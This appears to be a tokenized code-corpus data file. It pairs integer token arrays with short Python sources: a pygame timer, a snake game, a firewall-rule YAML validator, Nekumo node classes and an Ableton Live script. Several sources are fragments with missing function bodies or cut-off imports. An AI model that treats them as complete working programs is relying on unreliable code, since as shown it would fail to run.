220, 220, 220, 220, 383, 4504, 2560, 481, 307, 281, 4554, 286, 2035, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 4871, 25, 44646, 21357, 47671, 393, 1058, 4871, 25, 44646, 7004, 3411, 44646, 628, 220, 220, 220, 220, 220, 220, 220, 1002, 428, 2912, 373, 6492, 832, 257, 1058, 4871, 25, 44646, 7004, 3411, 47671, 788, 663, 198, 220, 220, 220, 220, 220, 220, 220, 2104, 29171, 815, 307, 3393, 1695, 11, 10616, 645, 3131, 198, 220, 220, 220, 220, 220, 220, 220, 3127, 7007, 13, 2102, 11, 611, 428, 2912, 373, 6492, 832, 584, 198, 220, 220, 220, 220, 220, 220, 220, 1724, 11, 304, 13, 70, 1539, 7559, 10748, 13, 23893, 10786, 9858, 10979, 62, 2389, 11537, 15506, 11, 393, 198, 220, 220, 220, 220, 220, 220, 220, 7559, 10748, 13, 259, 3524, 13, 23893, 62, 35666, 444, 15506, 11, 788, 262, 4504, 2560, 743, 307, 257, 198, 220, 220, 220, 220, 220, 220, 220, 16931, 4554, 286, 2035, 1058, 4871, 25, 44646, 21357, 47671, 393, 1058, 4871, 25, 44646, 7004, 3411, 44646, 628, 220, 220, 220, 220, 220, 220, 220, 406, 12582, 18957, 17934, 25, 628, 220, 220, 220, 220, 220, 220, 220, 11485, 2438, 3712, 21015, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2912, 796, 18374, 13, 23893, 10786, 694, 75, 71, 85, 15, 69, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2560, 796, 2912, 13, 8000, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 4600, 35666, 444, 63, 318, 6565, 1566, 262, 2912, 318, 47193, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 7, 8000, 13, 35666, 444, 8, 220, 1303, 25235, 25, 17635, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2560, 13, 5420, 3447, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 7, 8000, 13, 35666, 444, 8, 220, 1303, 25235, 318, 379, 1551, 25, 685, 21357, 7, 312, 11639, 694, 75, 71, 85, 15, 69, 11537, 60, 628, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 279, 2645, 600, 25, 15560, 28, 3919, 12, 19522, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2116, 13, 8000, 62, 312, 6624, 2116, 13, 7266, 3411, 13, 12853, 3672, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13, 7266, 3411, 628, 220, 220, 220, 220, 220, 220, 220, 611, 705, 62, 15944, 6, 287, 2116, 13, 7266, 3411, 13, 834, 11600, 834, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 290, 2116, 13, 8000, 62, 312, 287, 2116, 13, 7266, 3411, 13557, 15944, 62, 1525, 62, 312, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 383, 18957, 1541, 7160, 11, 523, 2391, 1441, 340, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13, 7266, 3411, 13557, 15944, 62, 1525, 62, 312, 58, 944, 13, 8000, 62, 312, 60, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 279, 2645, 600, 25, 7139, 28, 3919, 12, 19522, 628, 220, 220, 220, 220, 220, 220, 220, 2560, 796, 18957, 7, 944, 13557, 10748, 11, 2116, 13, 8000, 62, 312, 13, 35312, 10786, 62, 3256, 352, 38381, 16, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 2560, 13557, 7266, 3411, 796, 2116, 13, 7266, 3411, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2560, 628, 220, 220, 220, 825, 583, 31000, 7, 944, 11, 3049, 28, 25101, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 13615, 257, 583, 31000, 284, 262, 2912, 13, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 3049, 25, 8229, 262, 1255, 355, 2952, 355, 1744, 357, 12286, 25, 10352, 737, 628, 220, 220, 220, 220, 220, 220, 220, 554, 1502, 284, 5004, 262, 1336, 583, 31000, 329, 257, 2912, 11, 262, 42641, 198, 220, 220, 220, 220, 220, 220, 220, 743, 761, 284, 307, 11351, 1740, 611, 340, 5818, 470, 587, 1541, 13, 5345, 7559, 7217, 28, 17821, 15506, 611, 198, 220, 220, 220, 220, 220, 220, 220, 345, 765, 284, 17286, 326, 1744, 3440, 13, 628, 220, 220, 220, 220, 220, 220, 220, 317, 1336, 583, 31000, 3073, 588, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1220, 81, 14, 10748, 7959, 14, 15944, 14, 17, 39870, 89, 80, 68, 14, 79, 1831, 62, 5450, 62, 25616, 14, 694, 75, 71, 85, 15, 69, 628, 220, 220, 220, 220, 220, 220, 220, 317, 3049, 12, 14578, 583, 31000, 329, 262, 976, 2912, 481, 804, 588, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1220, 15944, 14, 17, 39870, 89, 80, 68, 1003, 694, 75, 71, 85, 15, 69, 628, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 279, 2645, 600, 25, 15560, 28, 3919, 12, 19522, 198, 220, 220, 220, 220, 220, 220, 220, 611, 407, 3049, 393, 705, 525, 31000, 6, 287, 2116, 13, 7266, 3411, 13, 834, 11600, 834, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 19016, 22179, 7, 944, 13, 7266, 3411, 13, 525, 31000, 11, 2116, 13, 312, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 31051, 15944, 14, 90, 92, 1003, 90, 92, 4458, 18982, 7, 944, 13, 7266, 3411, 13, 312, 11, 2116, 13, 312, 8, 628, 220, 220, 220, 825, 14976, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 8134, 3447, 262, 2912, 338, 12608, 13, 628, 220, 220, 220, 220, 220, 220, 220, 1002, 1262, 1058, 76, 2788, 25, 44646, 22367, 13, 23893, 63, 428, 2446, 1276, 307, 1444, 287, 1502, 284, 198, 220, 220, 220, 220, 220, 220, 220, 7330, 262, 2912, 338, 20616, 13, 628, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 611, 705, 22866, 6, 287, 2116, 13, 834, 11600, 834, 25, 220, 1303, 8554, 468, 35226, 20022, 257, 21207, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2912, 62, 6978, 796, 2116, 13, 22866, 13, 35312, 10786, 30, 3256, 352, 38381, 15, 60, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2912, 62, 6978, 796, 705, 90, 92, 62, 14, 90, 92, 4458, 18982, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 7266, 3411, 13557, 10951, 62, 6978, 22784, 220, 1303, 279, 2645, 600, 25, 15560, 28, 3919, 12, 19522, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 312, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2912, 62, 4868, 796, 2116, 13557, 10748, 13, 1136, 7, 23893, 62, 6978, 38381, 16, 4083, 17197, 198, 220, 220, 220, 220, 220, 220, 220, 611, 407, 2912, 62, 4868, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5298, 20985, 16922, 10786, 21357, 468, 587, 13140, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 2912, 796, 2912, 62, 4868, 58, 15, 60, 198, 220, 220, 220, 220, 220, 220, 220, 329, 10971, 287, 2912, 13557, 35666, 444, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 10971, 13, 7266, 3411, 796, 2116, 13, 7266, 3411, 198, 220, 220, 220, 220, 220, 220, 220, 1619, 2912, 13, 834, 11600, 834, 17816, 62, 7266, 3411, 20520, 220, 1303, 2094, 470, 6330, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 834, 11600, 834, 13, 19119, 7, 23893, 13, 834, 11600, 834, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 628, 198, 4871, 18957, 5841, 263, 341, 7, 51, 722, 5841, 263, 341, 35608, 259, 2599, 198, 220, 220, 220, 37227, 15946, 485, 257, 900, 286, 5499, 27113, 284, 18957, 34401, 526, 15931, 628, 220, 220, 220, 825, 11593, 15003, 834, 7, 944, 11, 2912, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 16447, 257, 18957, 5841, 263, 341, 4554, 13, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 2912, 25, 383, 2912, 284, 10768, 13, 628, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 1197, 796, 2912, 198 ]
2.482067
2,593
# -*- coding: utf-8 -*- # Description: validation functions from ipaddress import (AddressValueError, NetmaskValueError, ip_address, IPv4Address, IPv6Address, ip_network, IPv4Network, IPv6Network)
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 2, 12489, 25, 21201, 5499, 198, 198, 6738, 20966, 21975, 1330, 357, 20231, 11395, 12331, 11, 3433, 27932, 11395, 12331, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 20966, 62, 21975, 11, 25961, 19, 20231, 11, 25961, 21, 20231, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 20966, 62, 27349, 11, 25961, 19, 26245, 11, 25961, 21, 26245, 8, 628, 628, 628, 198 ]
2.293578
109
from nekumo.api.config import QuickStart from nekumo.api.nodes import Dir, File, Node, Image, Video __author__ = 'nekmo' stanza_classes = [ # Este listado se recorre para determinar el tipo de clase mejor a usar # con un nodo. Se usa un método estático is_capable para determinarlo. # Por ejemplo, tendremos clases Dir y File, con métodos distintos. QuickStart, Image, Video, Dir, File, Node, ]
[ 6738, 497, 74, 43712, 13, 15042, 13, 11250, 1330, 12029, 10434, 198, 6738, 497, 74, 43712, 13, 15042, 13, 77, 4147, 1330, 36202, 11, 9220, 11, 19081, 11, 7412, 11, 7623, 198, 198, 834, 9800, 834, 796, 705, 710, 74, 5908, 6, 628, 198, 14192, 4496, 62, 37724, 796, 685, 198, 220, 220, 220, 1303, 412, 4169, 1351, 4533, 384, 664, 273, 260, 31215, 3416, 283, 1288, 8171, 78, 390, 537, 589, 502, 73, 273, 257, 514, 283, 198, 220, 220, 220, 1303, 369, 555, 18666, 78, 13, 1001, 514, 64, 555, 285, 25125, 24313, 1556, 6557, 83, 3713, 318, 62, 11128, 540, 31215, 3416, 283, 5439, 13, 198, 220, 220, 220, 1303, 20139, 304, 73, 18856, 78, 11, 4327, 2787, 418, 537, 1386, 36202, 331, 9220, 11, 369, 285, 25125, 375, 418, 1233, 600, 418, 13, 198, 220, 220, 220, 12029, 10434, 11, 198, 220, 220, 220, 7412, 11, 198, 220, 220, 220, 7623, 11, 198, 220, 220, 220, 36202, 11, 198, 220, 220, 220, 9220, 11, 198, 220, 220, 220, 19081, 11, 198, 60 ]
2.460227
176
import time import pygame pygame.mixer.init() alarm = pygame.mixer.Sound("alarm_ding.ogg") alarm_len = alarm.get_length() minutes = int(input ("Minutes:"))*60 seconds = int(input("Seconds:")) timer = minutes + seconds for i in range(timer): print("", str(timer - i), end="\r") time.sleep(1) alarm.play() print("time's over") time.sleep(alarm_len)
[ 11748, 640, 198, 11748, 12972, 6057, 198, 9078, 6057, 13, 19816, 263, 13, 15003, 3419, 198, 282, 1670, 796, 12972, 6057, 13, 19816, 263, 13, 21369, 7203, 282, 1670, 62, 12083, 13, 10332, 4943, 198, 282, 1670, 62, 11925, 796, 10436, 13, 1136, 62, 13664, 3419, 198, 1084, 1769, 796, 493, 7, 15414, 5855, 9452, 1769, 11097, 4008, 9, 1899, 198, 43012, 796, 493, 7, 15414, 7203, 12211, 82, 11097, 4008, 198, 45016, 796, 2431, 1343, 4201, 198, 1640, 1312, 287, 2837, 7, 45016, 2599, 198, 220, 220, 220, 3601, 7203, 1600, 965, 7, 45016, 532, 1312, 828, 886, 2625, 59, 81, 4943, 198, 220, 220, 220, 640, 13, 42832, 7, 16, 8, 198, 282, 1670, 13, 1759, 3419, 198, 4798, 7203, 2435, 338, 625, 4943, 198, 2435, 13, 42832, 7, 282, 1670, 62, 11925, 8 ]
2.602941
136
#################################3################################################################## # Name: Pygame Snake Experiement # Purpose: Make a simple pygame game to get a handle on PyGame # Date: 2013/12/22 # Programmer: Toben "Littlefoo" "Narcolapser" Archer # Version: 0.1 #################################################################################################### import sys, pygame from pygame.locals import * from random import randint import math pygame.init() fps = pygame.time.Clock() window = pygame.display.set_mode((640,480)) pygame.display.set_caption('SNAAAAAAAAAAAAAAAAAAAAAAKE!!!!!!!!!!!!!!') snakeLength = 3 snakeBody = [(320,240),(320,250),(320,260)] apple = newApple() speed = 10 direction = (0,-1) #(1, = left, (-1, = right, 1) = down, -1) = up quit = False while not quit: events = pygame.event.get() window.fill((0,0,128)) for event in events: if event.type == KEYDOWN: if event.key == K_q: quit = True if event.key == K_a: direction = (-1,0) if event.key == K_d: direction = (1,0) if event.key == K_w: direction = (0,-1) if event.key == K_s: direction = (0,1) appleEaten = snakeCollidesApple(snakeBody,apple) snakeBitten = snakeCollidesSelf(snakeBody) snakeCrashed = snakeCollidesEdge(snakeBody) if appleEaten: apple = newApple() snakeLength += 1 speed += 1 snakeBody = moveSnake(snakeBody) drawApple() drawSnake() pygame.display.update() fps.tick(speed) quit = snakeBitten or snakeCrashed or quit print "you ate:",snakeLength-3,"apples!" if randint(0,100)>95: print "big question here: do snakes eat apples?"
[ 29113, 2, 18, 29113, 29113, 2235, 198, 2, 197, 5376, 25, 197, 197, 20519, 6057, 16705, 8170, 72, 972, 198, 2, 197, 30026, 3455, 25, 197, 12050, 257, 2829, 12972, 6057, 983, 284, 651, 257, 5412, 319, 9485, 8777, 198, 2, 197, 10430, 25, 197, 197, 6390, 14, 1065, 14, 1828, 198, 2, 197, 15167, 647, 25, 197, 51, 672, 268, 366, 22253, 21943, 1, 366, 40059, 4033, 1686, 263, 1, 19333, 198, 2, 197, 14815, 25, 197, 15, 13, 16, 198, 29113, 29113, 29113, 4242, 198, 198, 11748, 25064, 11, 12972, 6057, 198, 6738, 12972, 6057, 13, 17946, 874, 1330, 1635, 198, 6738, 4738, 1330, 43720, 600, 198, 11748, 10688, 198, 198, 9078, 6057, 13, 15003, 3419, 198, 198, 29647, 796, 12972, 6057, 13, 2435, 13, 44758, 3419, 198, 198, 17497, 796, 12972, 6057, 13, 13812, 13, 2617, 62, 14171, 19510, 31102, 11, 22148, 4008, 198, 9078, 6057, 13, 13812, 13, 2617, 62, 6888, 1159, 10786, 15571, 43488, 43488, 17922, 3838, 7336, 34635, 13896, 3228, 11537, 198, 198, 16184, 539, 24539, 796, 513, 198, 16184, 539, 25842, 796, 47527, 19504, 11, 16102, 828, 7, 19504, 11, 9031, 828, 7, 19504, 11, 21719, 15437, 198, 18040, 796, 649, 16108, 3419, 198, 12287, 796, 838, 198, 37295, 796, 357, 15, 12095, 16, 8, 198, 2, 7, 16, 11, 796, 1364, 11, 13841, 16, 11, 796, 826, 11, 352, 8, 796, 866, 11, 532, 16, 8, 796, 510, 198, 198, 47391, 796, 10352, 198, 4514, 407, 11238, 25, 198, 197, 31534, 796, 12972, 6057, 13, 15596, 13, 1136, 3419, 198, 197, 17497, 13, 20797, 19510, 15, 11, 15, 11, 12762, 4008, 198, 197, 1640, 1785, 287, 2995, 25, 198, 197, 197, 361, 1785, 13, 4906, 6624, 35374, 41925, 25, 198, 197, 197, 197, 361, 1785, 13, 2539, 6624, 509, 62, 80, 25, 198, 197, 197, 197, 197, 47391, 796, 6407, 198, 197, 197, 197, 361, 1785, 13, 2539, 6624, 509, 62, 64, 25, 198, 197, 197, 197, 197, 37295, 796, 13841, 16, 11, 15, 8, 198, 197, 197, 197, 361, 1785, 13, 2539, 6624, 509, 62, 67, 25, 198, 197, 197, 197, 197, 37295, 796, 357, 16, 11, 15, 8, 198, 197, 197, 197, 361, 1785, 13, 2539, 6624, 509, 62, 86, 25, 198, 197, 197, 197, 197, 37295, 796, 357, 15, 12095, 16, 8, 198, 197, 197, 197, 361, 1785, 13, 2539, 6624, 509, 62, 82, 25, 198, 197, 197, 197, 197, 37295, 796, 357, 15, 11, 16, 8, 198, 197, 18040, 36, 36686, 796, 17522, 22667, 1460, 16108, 7, 16184, 539, 25842, 11, 18040, 8, 198, 197, 16184, 539, 33, 2621, 796, 17522, 22667, 1460, 24704, 7, 16184, 539, 25842, 8, 198, 197, 16184, 539, 13916, 5263, 796, 17522, 22667, 1460, 37021, 7, 16184, 539, 25842, 8, 198, 197, 198, 197, 361, 17180, 36, 36686, 25, 198, 197, 197, 18040, 796, 649, 16108, 3419, 198, 197, 197, 16184, 539, 24539, 15853, 352, 198, 197, 197, 12287, 15853, 352, 198, 197, 198, 197, 16184, 539, 25842, 796, 1445, 49795, 7, 16184, 539, 25842, 8, 198, 197, 198, 197, 19334, 16108, 3419, 198, 197, 19334, 49795, 3419, 198, 197, 198, 197, 9078, 6057, 13, 13812, 13, 19119, 3419, 198, 197, 29647, 13, 42298, 7, 12287, 8, 198, 197, 47391, 796, 17522, 33, 2621, 393, 17522, 13916, 5263, 393, 11238, 198, 198, 4798, 366, 5832, 15063, 25, 1600, 16184, 539, 24539, 12, 18, 553, 1324, 829, 2474, 198, 361, 43720, 600, 7, 15, 11, 3064, 8, 29, 3865, 25, 198, 197, 4798, 366, 14261, 1808, 994, 25, 466, 26042, 4483, 22514, 1701, 198 ]
2.752542
590
#!/usr/bin/env python3 # Copyright 2022 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import glob import ipaddress import json import sys import click import yaml import yamale from fnmatch import fnmatch from types import SimpleNamespace from yamale.validators import DefaultValidators, Validator class Netmask(Validator): """ Custom netmask validator """ tag = 'netmask' settings = {} mode = None _type = None class NetworkTag(Validator): """ Custom network tag validator """ tag = 'networktag' settings = {} mode = None _type = None class ServiceAccount(Validator): """ Custom service account validator """ tag = 'serviceaccount' settings = {} mode = None _type = None class NetworkPorts(Validator): """ Custom ports validator """ tag = 'networkports' settings = {} mode = None _type = None allowed_port_map = [] approved_port_map = [] @click.command() @click.argument('files') @click.option('--schema', default='/schemas/firewallSchema.yaml', help='YAML schema file') @click.option('--settings', default='/schemas/firewallSchemaSettings.yaml', help='schema configuration file') @click.option('--mode', default='validate', help='select mode (validate or approve)') @click.option('--github', is_flag=True, default=False, help='output GitHub action compatible variables') if __name__ == '__main__': main()
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 2, 15069, 33160, 3012, 11419, 198, 2, 198, 2, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 198, 2, 345, 743, 407, 779, 428, 2393, 2845, 287, 11846, 351, 262, 13789, 13, 198, 2, 921, 743, 7330, 257, 4866, 286, 262, 13789, 379, 198, 2, 198, 2, 220, 220, 220, 220, 3740, 1378, 2503, 13, 43073, 13, 2398, 14, 677, 4541, 14, 43, 2149, 24290, 12, 17, 13, 15, 198, 2, 198, 2, 17486, 2672, 416, 9723, 1099, 393, 4987, 284, 287, 3597, 11, 3788, 198, 2, 9387, 739, 262, 13789, 318, 9387, 319, 281, 366, 1921, 3180, 1, 29809, 1797, 11, 198, 2, 42881, 34764, 11015, 6375, 7102, 49828, 11053, 3963, 15529, 509, 12115, 11, 2035, 4911, 393, 17142, 13, 198, 2, 4091, 262, 13789, 329, 262, 2176, 3303, 15030, 21627, 290, 198, 2, 11247, 739, 262, 13789, 13, 198, 198, 11748, 15095, 198, 11748, 20966, 21975, 198, 11748, 33918, 198, 11748, 25064, 198, 198, 11748, 3904, 198, 11748, 331, 43695, 198, 11748, 331, 321, 1000, 198, 198, 6738, 24714, 15699, 1330, 24714, 15699, 198, 6738, 3858, 1330, 17427, 36690, 10223, 198, 6738, 331, 321, 1000, 13, 12102, 2024, 1330, 15161, 47139, 2024, 11, 48951, 1352, 628, 198, 4871, 3433, 27932, 7, 47139, 1352, 2599, 198, 220, 37227, 8562, 2010, 27932, 4938, 1352, 37227, 198, 220, 7621, 796, 705, 3262, 27932, 6, 198, 220, 6460, 796, 23884, 198, 220, 4235, 796, 6045, 198, 220, 4808, 4906, 796, 6045, 628, 198, 4871, 7311, 24835, 7, 47139, 1352, 2599, 198, 220, 37227, 8562, 3127, 7621, 4938, 1352, 37227, 198, 220, 7621, 796, 705, 27349, 12985, 6, 198, 220, 6460, 796, 23884, 198, 220, 4235, 796, 6045, 198, 220, 4808, 4906, 796, 6045, 628, 198, 4871, 4809, 30116, 7, 47139, 1352, 2599, 198, 220, 37227, 8562, 2139, 1848, 4938, 1352, 37227, 198, 220, 7621, 796, 705, 15271, 23317, 6, 198, 220, 6460, 796, 23884, 198, 220, 4235, 796, 6045, 198, 220, 4808, 4906, 796, 6045, 628, 198, 4871, 7311, 47, 2096, 7, 47139, 1352, 2599, 198, 220, 37227, 8562, 14090, 4938, 1352, 37227, 198, 220, 7621, 796, 705, 27349, 3742, 6, 198, 220, 6460, 796, 23884, 198, 220, 4235, 796, 6045, 198, 220, 4808, 4906, 796, 6045, 198, 220, 3142, 62, 634, 62, 8899, 796, 17635, 198, 220, 6325, 62, 634, 62, 8899, 796, 17635, 628, 198, 198, 31, 12976, 13, 21812, 3419, 198, 31, 12976, 13, 49140, 10786, 16624, 11537, 198, 31, 12976, 13, 18076, 10786, 438, 15952, 2611, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 11639, 14, 1416, 4411, 292, 14, 6495, 11930, 27054, 2611, 13, 88, 43695, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 56, 2390, 43, 32815, 2393, 11537, 198, 31, 12976, 13, 18076, 10786, 438, 33692, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 11639, 14, 1416, 4411, 292, 14, 6495, 11930, 27054, 2611, 26232, 13, 88, 43695, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 15952, 2611, 8398, 2393, 11537, 198, 31, 12976, 13, 18076, 10786, 438, 14171, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 11639, 12102, 378, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 19738, 4235, 357, 12102, 378, 393, 14762, 8, 11537, 198, 31, 12976, 13, 18076, 10786, 438, 12567, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 318, 62, 32109, 28, 17821, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 28, 25101, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 22915, 21722, 2223, 11670, 9633, 11537, 628, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 1388, 3419, 198 ]
2.968935
676
# amounra 0513 : http://www.aumhaa.com from __future__ import with_statement import Live import math """ _Framework files """ from _Framework.ButtonElement import ButtonElement # Class representing a button a the controller from _Framework.ButtonMatrixElement import ButtonMatrixElement # Class representing a 2-dimensional set of buttons from _Framework.ChannelStripComponent import ChannelStripComponent # Class attaching to the mixer of a given track from _Framework.ClipSlotComponent import ClipSlotComponent # Class representing a ClipSlot within Live from _Framework.CompoundComponent import CompoundComponent # Base class for classes encompasing other components to form complex components from _Framework.ControlElement import ControlElement # Base class for all classes representing control elements on a controller from _Framework.ControlSurface import ControlSurface # Central base class for scripts based on the new Framework from _Framework.ControlSurfaceComponent import ControlSurfaceComponent # Base class for all classes encapsulating functions in Live from _Framework.DeviceComponent import DeviceComponent # Class representing a device in Live from _Framework.EncoderElement import EncoderElement # Class representing a continuous control on the controller from _Framework.InputControlElement import * # Base class for all classes representing control elements on a controller from _Framework.MixerComponent import MixerComponent # Class encompassing several channel strips to form a mixer from _Framework.ModeSelectorComponent import ModeSelectorComponent # Class for switching between modes, handle several functions with few controls from _Framework.NotifyingControlElement import NotifyingControlElement # Class representing control elements that can send values from _Framework.SceneComponent import SceneComponent # Class representing a scene in Live from _Framework.SessionComponent import SessionComponent # Class encompassing several scene to cover a defined section of Live's session from _Framework.SessionZoomingComponent import DeprecatedSessionZoomingComponent as SessionZoomingComponent # Class using a matrix of buttons to choose blocks of clips in the session from _Framework.SliderElement import SliderElement # Class representing a slider on the controller from VCM600.TrackEQComponent import TrackEQComponent # Class representing a track's EQ, it attaches to the last EQ device in the track from VCM600.TrackFilterComponent import TrackFilterComponent # Class representing a track's filter, attaches to the last filter in the track from _Framework.TransportComponent import TransportComponent # Class encapsulating all functions in Live's transport section from _Framework.M4LInterfaceComponent import M4LInterfaceComponent """Custom files, overrides, and files from other scripts""" from _Mono_Framework.MonoButtonElement import MonoButtonElement from _Mono_Framework.MonoEncoderElement import MonoEncoderElement from _Mono_Framework.MonoBridgeElement import MonoBridgeElement from _Mono_Framework.Debug import * from Map import * """ Here we define some global variables """ switchxfader = (240, 00, 01, 97, 02, 15, 01, 247) switchxfaderrgb = (240, 00, 01, 97, 07, 15, 01, 247) assigncolors = (240, 00, 01, 97, 07, 34, 00, 07, 03, 06, 05, 01, 02, 04, 247) assign_default_colors = (240, 00, 01, 97, 07, 34, 00, 07, 06, 05, 01, 04, 03, 02, 247) check_model = (240, 126, 127, 6, 1, 247) """ Here we add an override to the MixerComponent to include return channels in our mixer """ # a
[ 2, 716, 977, 430, 8870, 1485, 1058, 2638, 1378, 2503, 13, 26043, 3099, 64, 13, 785, 628, 198, 6738, 11593, 37443, 834, 1330, 351, 62, 26090, 198, 11748, 7547, 198, 11748, 10688, 198, 198, 37811, 4808, 21055, 6433, 3696, 37227, 198, 6738, 4808, 21055, 6433, 13, 21864, 20180, 1330, 20969, 20180, 1303, 5016, 10200, 257, 4936, 257, 262, 10444, 198, 6738, 4808, 21055, 6433, 13, 21864, 46912, 20180, 1330, 20969, 46912, 20180, 1303, 5016, 10200, 257, 362, 12, 19577, 900, 286, 12163, 198, 6738, 4808, 21055, 6433, 13, 29239, 1273, 5528, 21950, 1330, 11102, 1273, 5528, 21950, 1303, 5016, 39550, 284, 262, 33938, 286, 257, 1813, 2610, 198, 6738, 4808, 21055, 6433, 13, 2601, 541, 38963, 21950, 1330, 42512, 38963, 21950, 1303, 5016, 10200, 257, 42512, 38963, 1626, 7547, 198, 6738, 4808, 21055, 6433, 13, 7293, 633, 21950, 1330, 3082, 633, 21950, 1303, 7308, 1398, 329, 6097, 20504, 2313, 584, 6805, 284, 1296, 3716, 6805, 198, 6738, 4808, 21055, 6433, 13, 15988, 20180, 1330, 6779, 20180, 1303, 7308, 1398, 329, 477, 6097, 10200, 1630, 4847, 319, 257, 10444, 220, 198, 6738, 4808, 21055, 6433, 13, 15988, 14214, 2550, 1330, 6779, 14214, 2550, 1303, 5694, 2779, 1398, 329, 14750, 1912, 319, 262, 649, 25161, 198, 6738, 4808, 21055, 6433, 13, 15988, 14214, 2550, 21950, 1330, 6779, 14214, 2550, 21950, 1303, 7308, 1398, 329, 477, 6097, 32652, 8306, 5499, 287, 7547, 198, 6738, 4808, 21055, 6433, 13, 24728, 21950, 1330, 16232, 21950, 1303, 5016, 10200, 257, 3335, 287, 7547, 198, 6738, 4808, 21055, 6433, 13, 27195, 12342, 20180, 1330, 14711, 12342, 20180, 1303, 5016, 10200, 257, 12948, 1630, 319, 262, 10444, 198, 6738, 4808, 21055, 6433, 13, 20560, 15988, 20180, 1330, 1635, 1303, 7308, 1398, 329, 477, 6097, 10200, 1630, 4847, 319, 257, 10444, 198, 6738, 4808, 21055, 6433, 13, 35608, 263, 21950, 1330, 15561, 263, 21950, 1303, 5016, 20504, 19696, 1811, 6518, 22670, 284, 1296, 257, 33938, 198, 6738, 4808, 21055, 6433, 13, 19076, 17563, 273, 21950, 1330, 10363, 17563, 273, 21950, 1303, 5016, 329, 15430, 1022, 12881, 11, 5412, 1811, 5499, 351, 1178, 6973, 198, 6738, 4808, 21055, 6433, 13, 3673, 4035, 15988, 20180, 1330, 1892, 4035, 15988, 20180, 1303, 5016, 10200, 1630, 4847, 326, 460, 3758, 3815, 198, 6738, 4808, 21055, 6433, 13, 36542, 21950, 1330, 28315, 21950, 1303, 5016, 10200, 257, 3715, 287, 7547, 198, 6738, 4808, 21055, 6433, 13, 36044, 21950, 1330, 23575, 21950, 1303, 5016, 20504, 19696, 1811, 3715, 284, 3002, 257, 5447, 2665, 286, 7547, 338, 6246, 198, 6738, 4808, 21055, 6433, 13, 36044, 57, 30602, 21950, 1330, 2129, 31023, 